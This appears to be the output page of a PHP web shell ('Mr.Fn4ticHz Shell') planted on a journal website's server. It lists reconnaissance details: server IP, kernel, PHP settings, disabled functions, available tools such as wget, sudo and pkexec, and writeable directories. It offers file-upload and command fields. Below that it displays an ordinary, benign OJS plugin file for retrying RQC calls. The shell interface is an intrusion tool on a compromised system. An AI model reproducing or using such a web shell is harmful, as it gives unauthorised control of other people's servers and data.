Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.197.231
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/public_html/plugins/generic/rqc/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/public_html/plugins/generic/rqc/classes/DelayedRQCCallsTask.inc.php
<?php

/**
 * @file plugins/generic/rqc/classes/DelayedRQCCalls.inc.php
 *
 * Copyright (c) 2018-2023 Lutz Prechelt
 * Distributed under the GNU General Public License, Version 3.
 *
 * @class DelayedRQCCalls
 * @ingroup tasks
 * @ingroup plugins_generic_rqc
 *
 * @brief Class to retry failed RQC calls as a scheduled task.
 */


/* for OJS 3.4:
namespace APP\plugins\generic\rqc;
use PKP\db\DAORegistry;
use PKP\scheduledTask\ScheduledTask;
*/
import('lib.pkp.classes.scheduledTask.ScheduledTask');

define('RQCCALL_MAX_RETRIES', 10);

class DelayedRQCCalls extends ScheduledTask {

	/**
	 * @copydoc ScheduledTask::getName()
	 */
	function getName() {
		return __('admin.scheduledTask.delayedRQCCalls');
	}


	/**
	 * @copydoc ScheduledTask::executeActions()
	 */
	function executeActions() {
		$delayedCallsDao = DAORegistry::getDAO('DelayedRQCCallsDAO');
		$all_delayed_calls_to_be_retried_now = $delayedCallsDao->getCallsToRetry();
		foreach ($all_delayed_calls_to_be_retried_now as $call) {
			if ($call['retries'] >= RQCCALL_MAX_RETRIES) {  // throw away!
				$delayedCallsDao->deleteById($call['call_id']);
			}
			else {  // try again:
				// retry!!!
				$delayedCallsDao->updateCall($call);
			}
		}
		/* Pseudo code:
		   grab all delayed calls;
		   foreach delayed call:
		       if more days old than retry counter suggests:
		           retry
		           if successful:
		               delete;
		           else:
		               increase retry counter;
		               store;
		        else:
		           skip;
		*/
		/**  Example code found somewhere:
		  if ($submitReminderDays>=1 && $reviewAssignment->getDateDue() != null) {
			$checkDate = strtotime($reviewAssignment->getDateDue());
			if (time() - $checkDate > 60 * 60 * 24 * $submitReminderDays) {
				$reminderType = REVIEW_REMIND_AUTO;
		*/
		return true;
	}
}

?>

Mr.F4ticHz - 2022
Mr.Fn4tcHzam